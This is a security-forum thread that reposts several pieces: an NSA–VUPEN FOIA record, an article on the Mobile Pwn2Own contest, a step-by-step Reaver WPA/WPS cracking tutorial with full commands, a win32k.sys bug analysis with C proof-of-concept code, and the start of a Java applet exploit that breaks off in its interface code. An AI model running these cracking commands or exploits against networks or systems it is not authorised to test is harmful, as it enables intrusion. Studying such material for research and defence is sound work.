Bine, nu am stiut ce titlu sa pun. Mai jos aveti documentul facut public de NSA in care puteti observa contractul cu VUPEN (pentru cei care nu stiu, VUPEN e probabil cea mai smechera firma din domeniul securitatii IT - in special exploit development). Au cumparat: - VUPEN binary analysis and exploits service - 12 months subscription Download: https://muckrock.s3.amazonaws.com/foia_files/9-11-13_MR6593_RES.pdf Mai multe: https://www.muckrock.com/foi/united-states-of-america-10/vupen-contracts-with-nsa-6593/ Heather Akers-Healy on Sept. 1, 2013: To Whom It May Concern: This is a request under the Freedom of Information Act. I hereby request the following records: Copies of contracts with VUPEN Security and any final reports generated and delivered by VUPEN to the agency over the past 10 years. If retrieving the contracts themselves is too burdensome please provide a list of contracts. Please include any processing notes made in completing this request. I also request that, if appropriate, fees be waived as I believe this request is in the public interest. The requested documents will be made available to the general public free of charge as part of the public information service at MuckRock.com, processed by a representative of the news media/press and is made in the process of news gathering and not for commercial usage. In the event that fees cannot be waived, I would be grateful if you would inform me of the total charges in advance of fulfilling my request. I would prefer the request filled electronically, by e-mail attachment if available or CD-ROM if not. Thank you in advance for your anticipated cooperation in this matter. I look forward to receiving your response to this request within 20 business days, as the statute requires. Sincerely, Heather Akers-Healy Mai multe: http://threatpost.com/nsa-bought-exploit-service-from-vupen-contract-shows/102314

PWN2OWN for mobile devices - $300,000 in prizes for stealing data, eavesdropping or making covert calls by Paul Ducklin on September 16, 2013 Imagine that you have a jailbreak for iOS 7 up your sleeve. All you have to do is wait a while, until iOS 7 ships, and announce your jailbreak then. You'll soon be enjoying the adulation of the whole jailbreaking scene, a writeup on Naked Security, and the prospect of a job/lawsuit (or both!) with/against Apple. Or you could try for $50,000 from HP instead. That's just part of the prize money that's up for grabs at the second Pwn2Own competition of the year, Mobile Pwn2Own, announced last week by HP's Zero Day Initiative. We covered what you might call the regular-sized Pwn2Own earlier this year, from the announcement of its $500,000 in prize money to the day by day results. The outcome was a series of victories for the hackers, with HP ultimately paying out $480,000. (The official rules limited the payout for a particular target to the first to pwn it, but HP ended up agreeing to pay all four of the entrants who "popped" Java, at $20k, ahem, a pop.) The mobile competition The Mobile Pwn2Own won't be pitting vendor against vendor, so it isn't a question of Android versus Windows Phone, or Safari versus Chrome, or Blackberry versus Nokia, aka Microsoft. Instead, the prize money is divided up by attack vector, based on how you break in: • Via physical proximity (prize: $50k) You can use a wireless or a wired attack, using one (or, presumably, more) of Bluetooth, Wi-Fi, USB or NFC. A successful attack "must require little or no user interaction," so a dialog such as the one iOS 7 will soon be popping up to inhibit rogue USB connections would be a satisfactory mitigation: Earlier in the year, of course, researchers at showed at BlackHat how a booby-trapped iPhone charger could silently hijack your USB connection given the absence of such a pop-up warning. • Mobile web browser (prize: $40k) Some user interaction will no doubt be allowed here - someone has to decide to browse somewhere to get started, after all - but you won't be allowed to assume the user will agree to or click on anything else. There is no requirement in the rules for persistence, where the exploit remains active after the browser exits. In any attack category, all you need to is one of the following: exfiltrate (i.e. steal and send to the outside world) information you aren't supposed to get; silently make a long distance phone call; or eavesdrop a conversation. ? The rules don't say if "eavesropping a conversation" applies to cellular calls only, or even only to voice. If you are planning on eavesdropping to win a prize, you probably want to check in advance whether logging an instant messaging chat would count, or whether HP wants to see you listening in to phone calls made over the cellular voice network. • Mobile Application/Operating System (prize: $40k) Since each device will be in its default setup and configuration, with all available patches applied, you won't be able to rely on third party apps that might or might not have been installed by the user, no matter how prevalent they might be. • Messaging Services (prize: $70k) You can attack by means of any of these: Short Message Service (SMS), Multimedia Messaging Service (MMS), or Commercial Mobile Alert System (CMAS). The rules don't say, but with "limited user interaction" permitted, it's probably reasonable to assume that an attack can rely on users actually reading a booby-trapped message, but not on them following any instructions given in it. • Baseband (prize: $100k) Loosely put, the baseband is the part of a device that makes it a phone, or at least capable of connecting to a cellular network, so this vector of attack doesn't apply to Wi-Fi only devices. The value of this prize presumably reflects the comparative difficulty of coming up with a method to break in via the mobile network itself, rather than via USB cable or over the internet. Choose your weapon One you've picked your attack vector, you can choose to mount the attack using any one of an eclectic list of devices: Nokia Lumia 1020 running Windows Phone Microsoft Surface RT running Windows RT Samsung Galaxy S4 running Android Apple iPhone 5 running iOS Apple iPad Mini running iOS Google Nexus 4 running Android Google Nexus 7 running Android Google Nexus 10 running Android BlackBerry Z10 running BlackBerry 10 Entrants in each category go in to bat in randomly chosen order, designate the device on which they wish to mount their attack, and then have 30 minutes to pwn the chosen device via their chosen method. The first to succeed in each category wins that category's prize - and since there are five categories but nine devices, at least four devices will remain unowned. What we may never know, if there's a device (or an operating system) that no-one chooses for any attack, is whether it was avoided due to a lack of interest, or due to its recognised strength. Pwn2Own, like many security tests, is good at telling you if a product has a security weakness, but doesn't say much about each product's strengths. Oh, by the way, to enter, you need to be registered as a delegate at PacSec 2013 Conference in Tokyo, Japan, which takes place from 11-13 November 2013. Sursa: PWN2OWN for mobile devices – $300,000 in prizes for stealing data, eavesdropping or making covert calls | Naked Security

How to Crack a Wi-Fi Network's WPA Password with Reaver You already know that if you want to lock down your Wi-Fi network, you should opt for WPA encryption because WEP is easy to crack. But did you know… Read… Your Wi-Fi network is your conveniently wireless gateway to the internet, and since you're not keen on sharing your connection with any old hooligan who happens to be walking past your home, you secure your network with a password, right? Knowing, as you might, how easy it is to crack a WEP password, you probably secure your network using the more bulletproof WPA security protocol. Here's the bad news: A new, free, open-source tool called Reaver exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks. In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below. After that, I'll explain how Reaver works, and what you can do to protect your network against Reaver attacks. First, a quick note: As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. The more you know, the better you can protect yourself. What You'll Need You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide: The BackTrack 5 Live DVD. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD from BackTrack's download page and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R1 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO. A computer with Wi-Fi and a DVD drive. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro. A nearby WPA-secured Wi-Fi network. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible. A little patience. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The Reaver home page suggests it can take anywhere from 4-10 hours. Your mileage may vary. Let's Get Crackin' At this point you should have BackTrack burned to a DVD, and you should have your laptop handy. Step 1: Boot into BackTrack To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter. Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type startx and press Enter. BackTrack will boot into its graphical interface. Step 2: Install Reaver Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to. Click Applications > Internet > Wicd Network Manager Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time. Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type: apt-get update And then, after the update completes: apt-get install reaver If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.) Step 3: Gather Your Device Information, Prep Your Crackin' In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that. Find your wireless card: Inside Terminal, type: iwconfig Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named wlan0, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different. Put your wireless card into monitor mode: Assuming your wireless card's interface name is wlan0, execute the following command to put your wireless card into monitor mode: airmon-ng start wlan0 This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be mon0, like in the screenshot below. Make note of that. Find the BSSID of the router you want to crack: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command: airodump-ng wlan0 (Note: If airodump-ng wlan0 doesn't work for you, you may want to try the monitor interface instead—e.g., airodump-ng mon0.) You'll see a list of the wireless networks in range—it'll look something like the screenshot below: When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our previous guide to cracking WEP passwords.) Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver. Step 4: Crack a Network's WPA Password with Reaver Now execute the following command in the Terminal, replacing bssid and moninterface with the BSSID and monitor interface and you copied down above: reaver -i moninterface -b bssid -vv For example, if your monitor interface was mon0 like mine, and your BSSID was 8D:AE:9D:65:1F:B2 (a BSSID I just made up), your command would look like: reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this: A few important factors to consider: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through. Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything). How Reaver Works Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password. Read more details about the vulnerability at Sean Gallagher's excellent post on Ars Technica. How to Protect Yourself Against Reaver Attacks Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher points out as Ars, even with WPS manually turned off through his router's settings, Reaver was still able to crack his password. In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable. So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps. You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer. Double bummer. So what will work? I have the open-source router firmware DD-WRT installed on my router and I was unable to use Reaver to crack its password. As it turns out, DD-WRT does not support WPS, so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their supported devices list to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like monitor your internet usage, set up a network hard drive, act as a whole-house ad blocker, boost the range of your Wi-Fi network, and more. It essentially turns your $60 router into a $600 router. Sursa: How to Crack a Wi-Fi Network's WPA Password with Reaver

[h=2]Windows win32k.sys menus and some "close, but no cigar" bugs[/h] Welcome after one of the more lengthy breaks in the blog’s activity. Today, I would like to discuss none other than several interesting weaknesses around the implementation of menus (like, window menus) in the core component of the Microsoft Windows kernel – the infamous win32k.sys driver, also known as the “Java of Windows” in terms of overall security posture. Now, menus have been a part of the Windows graphical interface since the very beginning of the operating system existence. The implementation became part of the Windows kernel at the time of porting a majority of the Windows manager (User) subsystem to a ring-0 component during Windows NT 4.0 development. The functionality consists of user-facing (i.e. the NtUserThunkedMenuInfo and NtUserThunkedMenuItemInfo system calls) and rendering portions of code; I have found several bugs or problems in both areas. First of all, let’s start with the win32k!xxxSetLPITEMInfo function, which can be generally reached through the two following call chains in Windows 7 x86: NtUserThunkedMenuItemInfo ? xxxInsertMenuItem ? xxxSetLPITEMInfo or NtUserThunkedMenuItemInfo ? xxxSetMenuItemInfo ? xxxSetLPITEMInfo The routine itself is responsible for setting up an ITEM structure, which describes a single menu item and is defined as follows for the previously stated platform: 2: kd> dt win32k!tagITEM +0x000 fType : Uint4B +0x004 fState : Uint4B +0x008 wID : Uint4B +0x00c spSubMenu : Ptr32 tagMENU +0x010 hbmpChecked : Ptr32 Void +0x014 hbmpUnchecked : Ptr32 Void +0x018 lpstr : Ptr32 Uint2B +0x01c cch : Uint4B +0x020 dwItemData : Uint4B +0x024 xItem : Uint4B +0x028 yItem : Uint4B +0x02c cxItem : Uint4B +0x030 cyItem : Uint4B +0x034 dxTab : Uint4B +0x038 ulX : Uint4B +0x03c ulWidth : Uint4B +0x040 hbmp : Ptr32 HBITMAP__ +0x044 cxBmp : Int4B +0x048 cyBmp : Int4B +0x04c umim : tagUAHMENUITEMMETRICS Among other characteristics, the structure stores a pointer to the string displayed on top of the menu item. The string associated with a new menu item being initialized is passed through a user-mode UNICODE_STRING structure pointer, the contents of which are then copied to kernel-mode memory using the following code (reverse-engineered pseudo code follows): if (input_string->Buffer) { menu_string = DesktopAlloc(menu->head.rpdesk, input_string->Length + sizeof(WCHAR), 8); if (!menu_string) { return 0; } memcpy(menu_string, input_string->Buffer, input_string->Length); string_length = input_string->Length / sizeof(WCHAR); } As can be seen, the function allocates a buffer of size “Length + 2? but only initializes the first “Length” bytes. While nul termination is guaranteed by DesktopAlloc (which indeed zeroes out the allocation region before passing it back to the caller), the code still relies on the assumption that “Length” is an even value. Note that none of its top-level callers nor xxxSetLPITEMInfo explicitly enforces this assumption, enabling an attacker to specify a unicode string consisting of an odd number of bytes and have it processed by the code, potentially leading to the following layout of kernel-mode menu string allocation: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code][[0x41][0x41]] [[0x41][0x41]] ... [[0x41][0x00]] [[0x00][???]] [[???][???]] ... [/TD] [/TR] [/TABLE] Note that the last two allocation bytes are still zero, but they span across two wide characters, while the second byte of the (supposedly) last character is not defined and doesn’t necessarily have to be 0×00. Therefore, we could provoke the allocation of a non-nul-terminated unicode string for the menu item, and although there is a “cch” field in the ITEM structure which specifies the actual length of the string, it is not taken into consideration while rendering the textual string. As a result, it is possible to get win32k.sys to disclose junk bytes from the Desktop Heap onto the display and into user-mode, as shown below: Junk desktop heap bytes rendered by win32k.sys This condition is one of the most typical errors found in the Windows kernel and related to unicode strings – it has been already discussed in my “A story of win32k!cCapString, or unicode strings gone bad” blog post, and was the root cause of at least one Denial of Service vulnerability in the implementation of Windows registry (CVE-2010-0235, advisory here). Causing the kernel to draw unicode artifacts over menu items is quite amusing itself, but it turns out that the contents of the Desktop Heap are not kept secret from user-mode applications; in fact, the heap is even mapped into the ring-3 virtual address space of GUI processes. The observation can prove useful in certain scenarios (e.g. while trying to map controlled bytes into a privileged process running within the same desktop, as shown in “CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability”), but here makes the bug a non-issue (as officially confirmed by MSRC). However, the problem was quite close to becoming very helpful in the exploitation of another potential vulnerability. [h=2]Signedness issue in win32k!xxxDrawMenuItemText[/h] On the rendering side of things, the xxxDrawMenuItemText routine plays a very important role. Its overall declaration is rather complicated and not relevant to the discussed problem, but the one important point is that the 7th parameter stores the length of the string (in characters) to be displayed as a signed integer, and is used to determine whether a stack buffer or a dynamic pool allocation should be used to store the input string (using, of course, a signed comparison). The phenomenon is better illustrated in the following C-like pseudo code listing: The signedness of the integer is indeed confirmed by the assembly instruction used: .text:0020C8E6 cmp ebx, 0FFh.text:0020C8EC jl short loc_20C927.text:0020C8EE push 74727355h ; Tag.text:0020C8F3 lea ecx, ds:2[ebx*2].text:0020C8FA push ecx ; NumberOfBytes.text:0020C8FB push 21h ; PoolType.text:0020C8FD call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x) In case you were wondering, 64-bit versions of Windows are similarly affected: .text:FFFFF97FFF20C5FA cmp edi, 0FFh.text:FFFFF97FFF20C600 jl short loc_FFFFF97FFF20C637.text:FFFFF97FFF20C602 lea ecx, [rdi+1].text:FFFFF97FFF20C605 mov edx, 74727355h.text:FFFFF97FFF20C60A movsxd rcx, ecx.text:FFFFF97FFF20C60D add rcx, rcx.text:FFFFF97FFF20C610 call Win32AllocPool At first glance, this sounds like the perfect situation with great potential for a stack-based buffer overflow right inside of win32k.sys, provided we are able to set the 7th function parameter to a negative value. In theory, this should not be possible due to the fact that the length of any menu item text is limited by the 16-bit width of the UNICODE_STRING.Length field used to set up the menu item in the first place (in this case, the limit is 32767 characters, which is nowhere near 2147483648 required to overflow the positive integer range). However, it turns out that the “Length” parameter of the affected function is not taken from the limited ITEM.cch field, but rather calculated in the following manner: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]min(FindCharPosition(lpItem->lpstr, L'\8'), FindCharPosition(lpItem->lpstr, L'\t')) [/TD] [/TR] [/TABLE] where the FindCharPosition is a trivial wcschr-like function searching for a specific character from the beginning of a string, completing upon finding the desired character or encountering a unicode nul. This obviously opens up room for some potential abuse – by making use of the previous bug allowing lack of nul termination, we could potentially try to grow the Desktop Heap to 4GB+ (two billion wide characters) and hope that none of the {0×0000, 0×0008, 0×0009} words would occur at even offsets starting from the beginning of menu item text allocation. It is not clear whether one could increase the size of the desktop heap to as much as several gigabytes (if at all, this would only be possible on 64-bit platforms) and additionally satisfy the “no special characters inside” requirement, but even if that was possible, it still turns out that the bug would not be exploitable. Due to the fact that the GetPrefixCount function called by xxxDrawMenuItemText also operates on signed integers and does it in a way that prevents any kind of memory corruption: DWORD GetPrefixCount(signed int length, PWCHAR buffer, ...) { if (length > 0) { // fill out "buffer" } *buffer = L'\0'; // return } To date, I believe that none of the functions called subsequently by xxxDrawMenuItemText can cause stack corruption and write beyond the local buffer; however, my feeling is that the impossibility of exploitation is purely accidental, and a very slight change of a parameter type in any of the involved functions may suddenly introduce a very severe vulnerability. In other words, this is something the security community should definitely keep an eye on across new versions of Windows. One last potential problem with the function is the calculation of a dynamic buffer size in the line: .text:0020C8F3 lea ecx, ds:2[ebx*2] For Length=0x7fffffff (and above), the allocation size overflows and becomes 0×0 on 32-bit platforms; however, it is physically impossible to allocate 4GB of kernel memory (required for a large enough string length) on x86 CPUs. On 64-bit platforms, the calculation is performed using 64-bit variables based on a sign-extended 32-bit length. As a result, the final ExAllocatePoolWithTag parameter becomes 0xffffffff00000000, which when casted back to an unsigned long long (or size_t, rather) is too large for the allocator to handle. Overall, my take is that Microsoft has been pretty lucky with the current shape of menu implementation – although there is a number of issues in the code, none of them are currently exploitable due to various architecture and system-specific limitations (likely not intentional or considered by the original win32k.sys developers). A subtle modification of the code path can potentially result in enabling practical exploitation of some or all of the problems; however, Microsoft has decided that the current lack of security impact renders the bugs not worth fixing. And that’s it for today. As a final word, it is worth mentioning that actual (exploitable) vulnerabilities were discovered in the menu implementation in the past, see Tavis Ormandy’s “Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks” advisory. Comments and feedback are welcome, especially if I happened to miss something in the analysis and any of the problems actually are exploitable. Take care! [h=2]Proof of Concept[/h] The source code of a Proof of Concept program demonstrating the first issue (odd unicode string length) for Microsoft Windows 7 SP1 64-bit is shown below: #include <cstdio>#include <cstdlib> #include <string> #include <windows.h> #include <uxtheme.h> #pragma comment(lib, "GDI32") #pragma comment(lib, "USER32") #pragma comment(lib, "UXTHEME") //--------------------------------------------------------------------------- #ifndef MFS_CACHEDBMP # define MFS_CACHEDBMP 0x20000000L #endif //--------------------------------------------------------------------------- typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; extern "C" { VOID WINAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); } // extern "C" //--------------------------------------------------------------------------- #define __NR_NtUserThunkedMenuItemInfo 0x1098 #define SYSCALL_ARG(x) ((__int64)(x)) BYTE SyscallCode[] = "\x4C\x8B\xD1" // MOV R10, RCX "\xB8\x00\x00\x00\x00" // MOV EAX, "\x0F\x05" // SYSENTER "\xC3"; // RET PBYTE SyscallCodePtr = SyscallCode; ULONG (*SystemCall)(__int64 Argument1, __int64 Argument2, __int64 Argument3, __int64 Argument4, __int64 Argument5, __int64 Argument6, __int64 Argument7, __int64 Argument8); ULONG CallService(DWORD ServiceId, __int64 Argument1, __int64 Argument2, __int64 Argument3, __int64 Argument4, __int64 Argument5, __int64 Argument6, __int64 Argument7, __int64 Argument8) { memcpy(&SyscallCode[4], &ServiceId, sizeof(DWORD)); return SystemCall(Argument1, Argument2, Argument3, Argument4, Argument5, Argument6, Argument7, Argument8); } //--------------------------------------------------------------------------- LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); //--------------------------------------------------------------------------- DWORD WINAPI CreateHostWindow(LPVOID lpParameter) { CONST CHAR class_name[] = "TEST_CLASS_NAME"; CONST CHAR wnd_title[] = "TEST_WND_TITLE"; HINSTANCE instance = GetModuleHandle(NULL); WNDCLASSEX wndclsex; MSG msg; wndclsex.cbSize = sizeof(WNDCLASSEX); wndclsex.style = CS_HREDRAW | CS_VREDRAW; wndclsex.lpfnWndProc = WndProc; wndclsex.cbClsExtra = 0; wndclsex.cbWndExtra = 0; wndclsex.hInstance = instance; wndclsex.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndclsex.hCursor = LoadCursor(NULL, IDC_ARROW); wndclsex.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); wndclsex.lpszMenuName = NULL; wndclsex.lpszClassName = class_name; wndclsex.hIconSm = LoadIcon(NULL, IDI_APPLICATION); RegisterClassEx(&wndclsex); // Possibly disable themes for current session if (IsThemeActive()) { EnableTheming(FALSE); } // An equivalent of in the form of a system call, which enables // us to pass a raw UNICODE_STRING structure follows: // // AppendMenu(menu, MF_STRING, kMenuId, "menu test"); // HMENU menu = CreateMenu(); MENUITEMINFOW info = { sizeof MENUITEMINFOW, // UINT cbSize MIIM_STRING, // UINT fMask MFT_STRING, // UINT fType MFS_ENABLED, // UINT fState 0, // UINT wID NULL, // HMENU hSubMenu NULL, // HBITMAP hbmpChecked NULL, // HBITMAP hbmpUnchecked 0, // ULONG_PTR dwItemData NULL, // LPTSTR dwTypeData (ignored) 0, // UINT cch (ignored) NULL }; // HBITMAP hbmpItem UNICODE_STRING item; RtlInitUnicodeString(&item, L"menu test"); item.Length = 0xf - 0x2; CallService(__NR_NtUserThunkedMenuItemInfo, SYSCALL_ARG(menu), // HMENU hMenu SYSCALL_ARG(1), // UINT nPosition SYSCALL_ARG(TRUE), // BOOL fByPosition SYSCALL_ARG(TRUE), // BOOL fInsert SYSCALL_ARG(&info), // LPMENUITEMINFOW lpmii SYSCALL_ARG(&item), // PUNICODE_STRING pstrItem 0, 0); HWND hwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW, class_name, wnd_title, WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, menu, instance, NULL); UpdateWindow(hwnd); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } //--------------------------------------------------------------------------- LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { switch(msg) { case WM_DESTROY: PostQuitMessage(WM_QUIT); break; default: return DefWindowProc(hwnd, msg, wparam, lparam); } return 0; } //--------------------------------------------------------------------------- int main() { // Set syscall stub permissions. DWORD OldProtect; VirtualProtect(SyscallCode, sizeof(SyscallCode), PAGE_EXECUTE_READWRITE, &OldProtect); memcpy(&SystemCall, &SyscallCodePtr, sizeof(PVOID)); // Create host window. HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CreateHostWindow, NULL, 0, NULL); CloseHandle(hthread); // Terminate local thread. ExitThread(EXIT_SUCCESS); return EXIT_SUCCESS; } Sursa: Windows win32k.sys menus and some “close, but no cigar” bugs | j00ru//vx tech blog

Packet Storm Exploit 2013-0917-1 - Oracle Java ShortComponentRaster.verify() Memory Corruption Site packetstormsecurity.com The ShortComponentRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a memory corruption vulnerability that allows bypassing of "dataOffsets[]" boundary checks when the "numDataElements" field is 0. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program. import java.awt.image.*;import java.beans.Statement; import java.security.*; public class MyJApplet extends javax.swing.JApplet { /** * Initializes the applet myJApplet */ @Override public void init() { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the applet */ try { java.awt.EventQueue.invokeAndWait(new Runnable() { public void run() { initComponents(); // print environment info logAdd( "JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") + "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") + "\nJava Plug-in: " + System.getProperty("javaplugin.version") + "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")" ); } }); } catch (Exception ex) { ex.printStackTrace(); } } public void logAdd(String str) { txtArea.setText(txtArea.getText() + str + "\n"); } public void logAdd(Object o, String... str) { logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString())); } public String errToStr(Throwable t) { String str = "Error: " + t.toString(); StackTraceElement[] ste = t.getStackTrace(); for(int i=0; i < ste.length; i++) { str += "\n\t" + ste.toString(); } t = t.getCause(); if (t != null) str += "\nCaused by: " + errToStr(t); return str; } public void logError(Exception ex) { logAdd(errToStr(ex)); } public static String toHex(int i) { return Integer.toHexString(i); } /** * This method is called from within the init() method to initialize the * form. WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { btnStart = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); txtArea = new javax.swing.JTextArea(); btnStart.setText("Run calculator"); btnStart.addMouseListener(new java.awt.event.MouseAdapter() { public void mousePressed(java.awt.event.MouseEvent evt) { btnStartMousePressed(evt); } }); txtArea.setEditable(false); txtArea.setColumns(20); txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N txtArea.setRows(5); txtArea.setTabSize(4); jScrollPane2.setViewportView(txtArea); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addGap(242, 242, 242) .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() 